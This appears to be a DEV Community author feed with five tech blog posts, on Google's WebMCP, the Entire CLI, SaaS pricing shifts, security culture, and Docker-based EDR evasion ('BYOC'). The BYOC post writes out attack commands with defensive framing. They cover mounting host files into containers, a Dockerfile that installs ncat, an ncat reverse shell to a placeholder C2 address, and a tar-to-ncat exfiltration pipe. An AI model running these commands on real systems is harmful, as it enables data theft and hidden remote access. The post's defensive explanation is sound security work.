DEV Community: KABUKI

Your AI Agent Has Been Lying to Your Website — Google's WebMCP Wants to Fix That

KABUKI — Tue, 24 Mar 2026 13:49:12 +0000

tags: ai, webdev, javascript, googledev

🗒️ TL;DR

AI agents currently interact with websites by simulating UI actions — fragile, slow, and invisible to the site itself
Google released an early preview of WebMCP, a new web standard to fix this
WebMCP lets websites expose structured JavaScript tools that agents call directly — no more fake clicks
It proposes two new APIs: a Declarative API (HTML forms) and an Imperative API (JavaScript)
Human-in-the-loop is a core design principle — fully autonomous agents are explicitly out of scope
WebMCP is not a replacement for MCP — they complement each other (backend vs. frontend layer)
Security considerations (model poisoning, cross-origin isolation, permissions) are already on the radar

🤖 The Problem: AI Agents Are "Faking" Web Interactions

Picture this: you ask your AI agent to book a flight. Behind the scenes, it's doing something like this:

Simulate a click on the search field
Type in the destination character by character
Wait for the DOM to update
Parse the rendered HTML to find the results
Simulate another click on the "Book" button
Hope nothing changed since last time

This approach — often called browser automation — works well enough for demos. But in production? It's a mess.

The website has no idea an agent is interacting with it. There's no handshake, no contract, no structure. The agent is just guessing what to do based on what it can see.

Any UI update can silently break the workflow. Error messages are vague. There's no way for the site to say "hey, here's the right way to do this." And performance is terrible compared to direct API calls.

The web was built for humans. AI agents have been crashing the party uninvited — and faking their way through every interaction.

📢 What Google Just Announced

On February 10, 2026, Google released an early preview of WebMCP — a proposed web standard designed to give AI agents a proper seat at the table.

The core idea:

"WebMCP provides a standard way for web applications to expose structured tools, so AI agents can interact with websites faster, more reliably, and more accurately."

Instead of agents reverse-engineering your UI, your website gets to define exactly how agents should interact with it. Flight booking, support ticket submission, complex data navigation — all of these become structured, predictable, and auditable.

The spec is open. The GitHub repo is public. And it's already generating serious discussion in the web standards community.

⚙️ How WebMCP Works

The key shift WebMCP introduces is simple but powerful: websites publish structured tools, agents call those tools directly.

Here's how it compares to the current state of affairs:

Approach	How the Agent Interacts	Reliability	Speed
Traditional UI automation	Simulates clicks & keystrokes	❌ Breaks on any UI change	🐢 Slow
WebMCP	Calls structured JavaScript tools directly	✅ Stable & predictable	⚡ Fast

WebMCP proposes two new browser APIs to make this work:

Declarative API — handles standard actions defined directly in HTML forms. Think of it as a machine-readable <form> that agents understand natively.
Imperative API — handles more complex, dynamic interactions that require JavaScript execution. For everything that can't be expressed declaratively.

Together, these APIs let you make your web app "agent-ready" — without throwing away your existing codebase. In fact, one of the explicit design goals is to let you reuse existing JavaScript code to create tools. Low migration cost, high payoff.

🎯 Design Goals (and What's Out of Scope)

WebMCP has four stated design goals. They're worth reading carefully, because they tell you a lot about what Google is (and isn't) trying to build.

1. Human-in-the-loop workflows
Users delegate tasks to AI agents while maintaining visibility and control. The agent assists — it doesn't replace the human.

2. Simplified AI agent integration
Agents interact through well-defined JavaScript tools, not brittle UI scraping. Reliable by design.

3. Minimal developer burden
Reuse your existing page JavaScript to create tools. You don't have to rebuild your app from scratch.

4. Improved accessibility
Assistive technologies get a standardized way to access web app functionality — a nice side effect with real-world impact.

🚫 What WebMCP is NOT trying to do

This is just as important. WebMCP explicitly rules out:

Headless browsing without human oversight — no ghost agents running in the background
Fully autonomous agent workflows — for that, Google points to the A2A (Agent-to-Agent) protocol instead
Replacing MCP or backend integrations — WebMCP lives at the frontend layer only
Replacing human-facing interfaces — your UI is still for humans
Agent discoverability — figuring out which tools exist isn't WebMCP's job

🔐 Security considerations already on the table

The spec also flags three security areas that need careful handling:

Model poisoning — malicious tool definitions could corrupt AI model behavior
Cross-origin isolation — tool calls across different origins need strict security boundaries
Permission management — who decides which agents can call which tools, and when?

These aren't solved problems yet. But the fact that they're called out explicitly in the early spec is a good sign.

🔄 WebMCP vs MCP: It's Not a Competition

If you've been working with MCP (Model Context Protocol, originally from Anthropic), you might be wondering: "Wait, don't I already have this?"

Not quite. Here's how the landscape looks:

Era	How Agents Interact with the Web	Website's Role	Reliability
Before MCP	DOM scraping & click simulation	Passive victim	❌ Fragile
After MCP	Direct backend API calls	Backend responds	✅ (backend only)
After WebMCP	Structured tool calls on the UI layer	Frontend + backend both respond	✅ Fast & full-stack

The clean mental model:

MCP = agents talking directly to your backend services
WebMCP = agents interacting with your frontend UI layer, with the user present and in control

They're not competing. They're covering different parts of the stack. A website using WebMCP can be thought of as an MCP server implemented in client-side JavaScript — with the key difference that the user, the app, and the agent all share context in real time.

🏭 A Real-World Engineer's Take

I work in the semiconductor and manufacturing space, where AI agents are increasingly being used for things like equipment parameter tuning, defect analysis, and navigating complex ERP systems.

And the UI automation problem is very real in industrial settings.

Manufacturing control panels, MES systems, and legacy ERP dashboards were never designed with AI agents in mind. Every time the software gets updated and the layout shifts, automated workflows break silently. There are no logs. No audit trail. No way to know what the agent actually did or why it did it.

In regulated industries, that's not just inconvenient — it's a compliance problem.

WebMCP's approach of letting the application define how agents should interact with it resonates deeply in this context. It shifts the relationship from "agent guessing at UI" to "application and agent speaking the same language."

And the Human-in-the-loop principle? In manufacturing, fully autonomous agents controlling physical equipment face enormous psychological and regulatory hurdles. The model of "human supervises, agent assists" isn't just a nice idea — it's the only model that's realistically deployable today.

The question every engineering team should be asking isn't "can our AI agent use our app?" — it's "have we designed our app to work **with* AI agents?"*

That distinction is going to matter a lot in the next few years.

✅ What You Should Do Now

Bottom line: The web is about to get a first-class agent interface layer. Now is the time to get ahead of it.

Here's where to start:

📖 Read the spec — check out the WebMCP GitHub repo and follow the discussion
🗂️ Audit your own apps — which features would you want an agent to use? Map those out now
🔀 Clarify your MCP vs WebMCP strategy — backend integrations vs. UI-layer interactions are different problems
🔐 Update your AI security checklist — model poisoning and permission management aren't theoretical anymore
👥 Design for Human-in-the-loop from day one — don't build agent features that assume no human is watching

If MCP changed how agents talk to your backend, WebMCP is coming for your frontend.

📚 Sources

@it (ITmedia): "Google releases early preview of 'WebMCP' to standardize AI agent web interactions" (2026/03/18)
WebMCP GitHub Repository: https://github.com/webmachinelearning/webmcp

Git Remembers What Changed — But Not Why. Entire CLI Is Here to Fix That

KABUKI — Mon, 23 Mar 2026 13:44:43 +0000

TL;DR

Current software development lifecycles were built for humans, not AI agents — and it's showing
AI agent sessions are volatile: the reasoning behind code changes disappears the moment the session ends
Former GitHub CEO Thomas Dohmke launched Entire, raising $60M in seed funding (post-money valuation: $300M)
The open-source Entire CLI automatically saves AI agent context — prompts, transcripts, tool calls — directly into Git
The goal: a platform where AI agents and humans co-develop software with full traceability

Background: The Memory Problem No One Is Talking About

Claude Code. GPT-5.3-Codex. Cursor Composer 1.5.

AI coding agents are changing how we build software. Engineers now
run multiple terminal windows, fire prompts at agents, and let them
generate, evaluate, and iterate on code autonomously.

But there's a problem hiding in plain sight.

Every AI agent session is volatile.

The prompt lives in your terminal. The reasoning lives in the context
window. The decision-making process — the why behind each change —
evaporates the moment the session closes.

You retrace steps. Re-enter decisions. Burn tokens re-explaining
context. The background behind a judgment made hours or days ago?
Gone.

Git tells you what changed.
Git has never been able to tell you why.

That's the gap Thomas Dohmke — former GitHub CEO — is building
Entire to close.

What Just Happened: $60M and a New Company

On February 10, 2026, Entire announced a $60 million seed round,
with a post-money valuation of $300 million.

The thesis is straightforward: today's development tools were designed
for human-to-human collaboration, built before the cloud — let alone
before AI agents existed. They weren't designed for a world where
AI agents are primary contributors.

Entire wants to rebuild the software development lifecycle from the
ground up, with AI and humans as co-authors.

Entire CLI: Making AI Reasoning a First-Class Git Citizen

Entire CLI is an open-source tool available on GitHub. Its core
feature is called Checkpoints.

Every time an AI agent generates code and commits it, Entire CLI
automatically captures the full session context and attaches it to
the commit:

What Gets Recorded	Details
Full transcript	The entire agent conversation log
Prompts	Every instruction sent to the agent
Changed files	Code diffs
Token usage	How many tokens were consumed
Tool calls	Every tool the agent invoked

The result: not just a record of what changed, but a traceable
history of the reasoning that produced the change.

The Platform Architecture: 3 Layers

Entire CLI's platform is built on three components:

① Git-Compatible Database
Code, intent, decisions, and reasoning — all managed in a single
version control system.

② Universal Semantic Reasoning Layer
A context graph (a network mapping relationships between contexts)
enables multi-agent collaboration across sessions.

③ AI-Native Software Development Lifecycle
The entire dev lifecycle rebuilt around the assumption that agents
and humans work together — not humans alone.

Currently supports Claude Code and Google Gemini CLI, with
OpenAI Codex, Cursor CLI, OpenCode, and GitHub Copilot CLI support
coming soon.

A Brief History of Version Control

Era	What We Could Track	What We Couldn't
Before Git	Manual file backups	Change history
Git era	Code changes & diffs	The reasoning behind them
Entire CLI era	Code changes + AI reasoning & context	—

Git revolutionized how we record changes.
Entire CLI wants to revolutionize how we record decisions.

A Hardware Engineer's Perspective

As a semiconductor engineer, traceability isn't optional — it's a
compliance requirement. When something goes wrong on a production
line, you need to explain every design decision, every change, and
every judgment call. "The AI suggested it" is not an acceptable
answer.

This is what makes Entire CLI's approach genuinely interesting to me.

The problem it's solving isn't unique to software development.
Anywhere AI is being used to make or assist with technical decisions,
the same gap exists: the output survives, but the reasoning
doesn't.

In semiconductor and manufacturing environments, I see this playing
out already:

AI-assisted design verification produces results, but the diagnostic path that led there isn't preserved
Failure analysis with AI support surfaces insights, but the chain of reasoning disappears after the session
When auditors or quality reviewers ask "why was this decision made?", the honest answer is often: "we don't know anymore"

Treating AI as a disposable tool — use it, get the output, move on —
works until it doesn't. The moment traceability matters (and in
engineering, it always eventually matters), you'll wish you'd
recorded the why.

Entire CLI is a software-first answer to a problem that exists
across all of engineering.

Takeaways & Next Actions

Bottom line: The next frontier isn't just AI-generated code.
It's AI-generated code with traceable reasoning.

Here's what to do now:

Try Entire CLI locally — it's open source and available on GitHub right now
Audit your current AI agent workflow — can you reconstruct why a decision was made a week later? If not, that's the gap
Add "context preservation" to your team's AI usage guidelines — before it becomes a problem
If you use Claude Code or Gemini CLI, Entire CLI integrates today — no waiting required

Git changed how we collaborate on what we build.
Entire CLI might change how we understand why we built it that way.

Sources:

@it — "Git Can't Record 'Why' — Former GitHub CEO Launches Entire CLI" (March 18, 2026)
Entire Official Blog — "Hello Entire World"
Entire Blog — Dispatch series (Feb–Mar 2026)

Your Docker Is Someone Else's Hideout — The EDR Bypass Technique No One Talks About

KABUKI — Sun, 22 Mar 2026 10:08:41 +0000

TL;DR

A technique called BYOC (Bring Your Own Container) uses Docker to completely bypass EDR detection
The "isolation" feature built for security becomes the attacker's perfect hiding spot
North Korea-linked group "TraderTraitor" already used this in real attacks against macOS
Windows Sandbox has the same problem — same concept, different tool
Docker's trustworthiness is exactly what makes it dangerous

Background: Why Docker Became an Attacker's Best Friend

Docker is everywhere. It's the tool developers trust, use daily, and
rarely question. That trust is precisely the problem.

EDR (Endpoint Detection and Response) tools work by flagging suspicious
processes. But a docker run command? That's just a developer doing
their job. EDR can't easily tell the difference between legitimate
container work and an attacker hiding inside one.

This is BYOC — Bring Your Own Container — a technique presented
at AVTOKYO2024 by Taiichi Kotake of Stella Security. It takes the
"Living off the Land" (LotL) philosophy — abusing trusted, pre-installed
tools — and applies it to Docker.

The result: a fully functional attack environment that EDR doesn't see.

How the Attack Works: 2 Steps, Clean Execution

BYOC breaks down into two phases: getting data in and
getting data out.

Phase 1: Smuggling Data Into the Container

Method A: Mount the Host Directory

# Mount the host desktop directly into the container
$ docker run --rm -v ~/Desktop:/lib/modules -it ubuntu /bin/bash

The --rm flag auto-deletes the container on exit.
Traces on the host? Minimal.

Method B: Bake Data Into a Docker Image

FROM ubuntu:latest
COPY ./secret /lib/modules/
RUN apt update && apt install -y ncat
CMD ["/bin/bash"]

Package the sensitive data into the image itself.
Carry it anywhere Docker is installed.

Method C: Sideload Into a Running Container

# Copy files into an already-running legitimate container
$ docker cp secret.txt <container_id>:/lib/modules/

No new container launch. No unusual process activity.
The stealthiest option of the three.

Phase 2: Exfiltrating Data Out

Method A: Reverse Shell

# Establish a reverse shell from inside the container to C2
ncat XX.XX.XX.XX 3333 -e /bin/bash

Once the shell is open, the attacker operates entirely outside
EDR's view — interactively, freely.

Method B: Direct Data Streaming

# Archive and stream data straight to the C2 server
tar cf - /lib/modules/ | ncat XX.XX.XX.XX 3333

No interactive session needed. Fast, efficient, hard to catch.

Why Attackers Love This: 4 Key Advantages

Advantage	Detail
EDR-free shell	No dramatic EDR disabling needed — just blend into normal docker usage
Instant attack environment	Pre-built image deploys anywhere Docker exists. No tool downloads needed
Persistence & lateral movement	Long-running containers become network footholds for scanning internal hosts
Easy cleanup	Delete the image, wipe shell history — evidence almost gone

It's Not Just Theory: Real Attacks Already Use This

Elastic Security Labs reported that "TraderTraitor" — a
North Korea-linked threat actor — weaponized Docker in real macOS
attacks.

The attack delivered a malicious Python app disguised as a stock
trading tool, packaged inside a Docker container.

Apple's Endpoint Security Framework (ESF) has limited visibility
into container internals. EDR could detect that a "trusted Docker
process" was accessing SSH keys and AWS credentials — but couldn't
determine whether it was a developer or an attacker.

The container was the perfect disguise.

Docker Isn't Alone: Windows Sandbox Has the Same Problem

The same concept applies to Windows Sandbox — a lightweight, isolated
temporary desktop environment built into Windows.

Like Docker containers, processes inside Windows Sandbox are hidden
from the host's EDR. Attackers can execute malicious code, download
payloads, and prep their attack — then close the Sandbox and
erase every trace instantly.

Different tool, identical logic:
use legitimate isolation technology to create a surveillance-free zone.

The Evolution of EDR Bypass Techniques

Era	Technique	Core Idea
Early 2020s	Malware obfuscation & signature bypass	Hide malicious files
Mid 2020s	BYOI (Bring Your Own Installer)	Abuse legitimate installers
Now	BYOC (Bring Your Own Container)	Hide inside trusted dev tools

The trend is clear: attackers have moved from
"sneak in a malicious file" to
"hide inside something you already trust."

A Hardware Engineer's Perspective

As a semiconductor engineer, containerized development environments
are increasingly common in my world too — simulation tools, EDA
software, verification pipelines running in Docker.

Reading this article made me ask some uncomfortable questions about
my own environment:

Who actually has Docker permissions? High privileges are required to install Docker, but in practice, do we know exactly who can run containers on production-adjacent machines?
What networks can containers reach? If a container can talk to the manufacturing control network, a compromised container becomes a launchpad for lateral movement across critical systems
Are we logging container activity? The --rm flag is standard practice for clean dev workflows — but it's also ideal for attackers. Do we have any retention policy for container execution logs?

The assumption that "Docker = developer tool = safe" is exactly the
gap attackers are exploiting. In environments where OT and IT
boundaries are already blurring, BYOC is not a distant threat.

Takeaways & Next Actions

Bottom line: The more trusted the tool, the better the hiding spot.
Docker is trusted by everyone — including attackers.

Here's what to check right now:

Audit who has Docker execution privileges — apply least-privilege principles strictly
Review container network settings — restrict unnecessary external communication
Preserve container launch logs — even if --rm deletes the container, logging infrastructure should retain the record
Ask your EDR vendor about container visibility — does your current EDR have insight into processes running inside containers?

Security technology built to protect becomes the attacker's shelter.
The engineers who understand that irony are the ones who can actually
defend against it.

Sources:

Think IT — "EDR Bypass via Docker: Bring Your Own Container" (March 13, 2026)
Elastic Security Labs — "Bit ByBit: Emulation of the DPRK's Largest Cryptocurrency Heist"
Itochu CI Systems — "Hack The Sandbox: Uncovering the Truth Behind Vanished Traces" (March 12, 2025)

"AI Didn't Kill SaaS — It Turned SaaS Into Something Unrecognizable"

KABUKI — Fri, 20 Mar 2026 23:57:15 +0000

TL;DR

AI agents triggered a $1.6 trillion wipeout in software stocks in early 2026
SaaS's core business model — seat-based pricing — is under structural threat
SaaS won't disappear, but it's transforming from a human tool into AI infrastructure
Pricing is rapidly shifting from per-seat to outcome-based models
A new concept is emerging: SaS (Service as Software) — where AI delivers results, not just features

Background: Why Is SaaS Suddenly Under Fire?

In early 2026, Anthropic and OpenAI dropped back-to-back announcements
that shook the software world:

Claude Cowork (Jan 12, 2026) — A desktop tool letting AI autonomously handle business tasks without writing a single line of code
Frontier (Feb 5, 2026) — OpenAI's enterprise platform for building, deploying, and managing AI agents at scale

The market reaction was swift and brutal. The S&P 500 Software & Services
Index dropped roughly 23% year-to-date, wiping out approximately
$1.6 trillion in market cap (Wall Street Journal, Feb 2026).

Jefferies Financial Group's Jeffrey Favuzza called it the
"SaaSpocalypse."

Not just panic — a structural reckoning.

The Timeline: How the SaaS Shock Unfolded

Date	Event	Market Impact
Jan 12, 2026	Anthropic launches Claude Cowork	Software stocks begin declining
Jan 30, 2026	Anthropic releases 11 open-source plugins for white-collar work	6 consecutive days of decline, ~$830B in market cap erased
Feb 5, 2026	OpenAI announces Frontier	Direct competition with Salesforce, Workday
Feb 20, 2026	Claude Code Security launched	JFrog -25%, CrowdStrike & Zscaler -10%, ~$15B lost in 2 days
Feb 24, 2026	Anthropic announces SaaS partnerships	Stocks slightly rebound as "complement not replace" narrative emerges

Two Structural Threats to SaaS

① The death of seat-based pricing

If AI agents handle the work, fewer humans log into SaaS tools.
Fewer humans logging in = fewer seats = less revenue.
The model that powered 20 years of SaaS growth is cracking.

② AI agents becoming SaaS competitors

The 11 plugins Anthropic released included file management, document
creation, and data analysis — features SaaS companies have charged
for. AI agents don't just use SaaS. They can become SaaS.

This Isn't the First "SaaS Is Dead" Moment

Era	New Tech	The Claim	What Actually Happened
Mid-2010s	API Economy	APIs alone will replace SaaS	Stripe & Twilio became SaaS/PaaS themselves
Late 2010s	No-code/Low-code	Build it yourself, skip SaaS	Became a complement to existing SaaS
2026	AI Agents	AI will replace SaaS	Still unfolding...

Bain & Company put it well: technology revolutions rarely produce
winner-take-all outcomes. Mainframes, on-premise servers, and PCs were
all supposed to die — and none of them fully did.

The Great Debate: Will AI Kill SaaS?

The "Yes" Camp

Microsoft CEO Satya Nadella suggested SaaS is essentially just
CRUD logic wrapped in UI — something AI agents can replicate.
Charles Lamanna (Microsoft) went further, predicting traditional
business apps will be obsolete by 2030.

Forrester identified 4 structural concerns investors now have about SaaS:

Concern	Detail
Platform power shift	Foundation AI companies (Anthropic, OpenAI) capture value that SaaS can't
Seat demand collapse	Automation reduces the number of human users needing licenses
Vibe Coding	AI-assisted coding lets companies rebuild SaaS features in-house
SaaS sprawl	Enterprises average 275 SaaS apps — pressure to cut is real

Real example: Cursor VP Lee Robinson replaced the entire Sanity CMS
with an AI-coded system built from scratch — saving tens of thousands
of dollars per month.

The "No" Camp

Nvidia CEO Jensen Huang said markets "got it wrong" on the AI
threat to software companies.

Salesforce CEO Marc Benioff pushed back hard:
SaaS holds the governance, compliance, and metadata layers that AI
needs to function safely. Letting AI touch raw data without
role-based access control and audit trails is a security nightmare.
SaaS isn't below AI — it's the trusted middle layer AI runs on.

And the numbers backed him up. Salesforce's FY26 Q4 results showed:

Annual revenue: $41.5B (+10% YoY)
Agentforce ARR: +169% YoY

SaaS isn't dying. It's absorbing AI and growing.

How SaaS Companies Are Responding

The pricing model transformation is already underway:

Company	New Pricing Model
Salesforce	Unlimited agents for a flat fee (AELA)
ServiceNow	Consumption-based pricing tied to AI outcomes
Intercom	Per-ticket pricing for AI-resolved issues
Sierra.ai	Outcome-based: pay only when results are delivered

The direction is clear: from seats × price to value × outcome.

A Hardware Engineer's Take

As a semiconductor engineer, I find this debate fascinating — and
closer to home than it might seem.

Manufacturing systems run on long lifecycles. Factory equipment stays
in place for 5–10 years. But the software landscape underneath it
changes radically in that same window. The SaaS shock is a reminder
that "deploy it and forget it" thinking doesn't survive anymore.

What strikes me most is the SaaS → SaS conceptual shift:

SaaS (old model): Here's a tool. You use it.
SaS (new model): Here's the outcome. AI handled the rest.

We're seeing early versions of this in manufacturing too — AI handling
anomaly detection, predictive maintenance, and process optimization.
The human stops staring at dashboards and starts reviewing AI-generated
summaries.

But the friction is real. Legacy OT (Operational Technology) systems
often can't meet the prerequisites that AI agents require:
clean API connectivity, consistent data quality, auditable guardrails.
The path from SaaS to SaS in industrial environments will be long —
and full of integration challenges that pure software engineers rarely
have to face.

Takeaways & Next Actions

Bottom line: SaaS isn't dying.
But its identity is changing — from human-facing tool to AI-native
infrastructure.

Here's what I'd focus on now:

Learn MCP (Model Context Protocol) — The open standard connecting AI agents to external tools. Already adopted by AWS, Google Cloud, Azure, Cloudflare, and all major AI platforms.
Watch the pricing shift — Outcome-based models will change how software is budgeted and procured in your org.
Distinguish vertical vs. horizontal SaaS — Vertical SaaS with deep regulatory data (Epic, Bloomberg, Veeva) is resilient. Generic horizontal tools face the highest substitution risk.
Design for AI, not just humans — Clean data structures and well-documented APIs matter more than ever when AI is the consumer.

The value of software is shifting from providing features to
completing work. SaaS to SaS. The acronym barely changes.
The business model changes entirely.

Sources:

Think IT — "Will SaaS Disappear in the Age of AI Agents?" (Mar 19, 2026)
Wall Street Journal, CNBC, Reuters, Fortune, Bain & Company, Forrester, Salesforce IR, Foundation Capital
NIST Cybersecurity Framework 2.0

"Who's Really Securing Your Company? The Answer Might Shock You"

KABUKI — Fri, 20 Mar 2026 16:42:49 +0000

TL;DR

Most cyber incidents ultimately trace back to human error
Technical defenses like EDR and firewalls alone have clear limits
Japan is launching a Supply Chain Security Evaluation Standard in October 2026
Building a "safety culture" is now essential for organizational security
As AI spreads, human judgment matters more than ever — not less

Background: Why Are We Suddenly Talking About "People"?

In 2026, companies worldwide are pouring money into technical security
measures — EDR, zero trust architecture, VPN hardening, you name it.

But here's what a KnowBe4 Japan seminar in March 2026 made crystal clear:

The root cause of most cyber incidents is, ultimately, human error.

And not the "oops, I clicked the wrong button" kind of error.

We're talking about the accumulation of rational decisions — choosing
convenience over compliance, or unknowingly bending security guidelines
because getting the job done felt more important. These small, reasonable
choices stack up and create gaps equivalent to zero-day vulnerabilities.

What's Changing: Japan's Supply Chain Security Standard (October 2026)

Starting October 2026, Japan will fully enforce a Supply Chain
Security Evaluation Standard covering everyone from IT system vendors
to raw material suppliers.

The goal? Cyber resilience — built on the foundations of NIST's
Cybersecurity Framework (CSF) 2.0.

This is a shift from "can we prevent attacks?" to
"can we survive and recover when they happen?"

Previously, supply chain security was a mess of asymmetric power dynamics.
Large buyers would monitor their suppliers unilaterally, while suppliers
were forced to respond to different requirements from every single client —
exhausting and inefficient. The new unified standard aims to fix this,
leveling up security across entire supply chains.

The Paradigm Shift: From "Tools" to "Culture"

Era	Focus
Early 2020s	Antivirus, Firewalls, EDR
2024 – Present	Zero Trust, Compliance, Incident Response Drills
2026 onwards	Organizational Safety Culture & Supply Chain Resilience

The old mindset was simple: buy the right tool, stay protected.

But today's attacks exploit legitimate entry points — VPN vulnerabilities,
vendor accounts, insider access — and weaponize the organizational
pressure to prioritize efficiency over security.

Patch the technical holes all you want.
If there's a human gap, attackers will find it.

The Four Components of Safety Culture (James Reason's Model)

British psychologist James Reason's Safety Culture Model — originally
developed for high-risk industries like aviation and nuclear power — is
now making waves in cybersecurity.

It breaks down into four elements:

Element	What It Means
Reporting Culture	People feel safe reporting mistakes and anomalies
Just Culture	Evaluation focuses on learning, not blame
Flexible Culture	Org structure allows context-based decision-making
Learning Culture	Failures are systematically turned into improvements

The most critical — and most overlooked — is Just Culture.

According to KnowBe4 Japan's research, nearly 49% of Japanese companies
subject employees to disciplinary action even for unintentional mistakes.

The result? People hide errors. Risk goes underground. Resilience drops.

Unlike a factory accident, a cyber incident's root cause often lies in
organizational decision-making — not individual negligence. Asking
"what structure caused this failure?" instead of
"who made the mistake?" is what builds real organizational strength.

A Hardware Engineer's Perspective

As a semiconductor engineer, I can tell you this supply chain security
discussion is anything but abstract to me.

Manufacturing control systems are now cloud-connected. Factory equipment
is tied to external vendor accounts. VPN-based remote work has become
the norm for production efficiency. And the more people involved, the
higher the chance that someone will prioritize convenience over security.

Three things I find particularly concerning on the ground:

Lifecycle vs. patch cycle mismatch — Factory equipment runs for 5–10 years, but software vulnerabilities appear every month
OT/IT boundary collapse — Manufacturing networks that used to be air-gapped are now connected to IT systems, multiplying attack surfaces
Lack of incident reporting culture — In manufacturing, there's a deep-rooted belief that "problems shouldn't happen," making it hard for small anomalies to get reported

And as AI automation expands, one thing remains constant:
humans decide what to delegate to AI.
Ethical judgment and critical decision-making will always stay with us.

Takeaways & Next Actions

Bottom line: EDR alone isn't enough.
After 2026, organizational culture IS your competitive advantage in security.

Here's what I'd recommend acting on now:

Build a blame-free incident reporting culture (Just Culture first)
Audit your entire supply chain against the new evaluation standard (October 2026 deadline)
Replace passive e-learning with simulation-based training
Create psychological safety so small concerns get raised early

It's time to stop treating security as a cost center and start treating
it as a demonstration of organizational capability.

Sources:

ITmedia Enterprise — "The Human Vulnerability: 4 Overlooked Security Blind Spots" (March 18, 2026)
KnowBe4 Japan Seminar Materials
NIST Cybersecurity Framework 2.0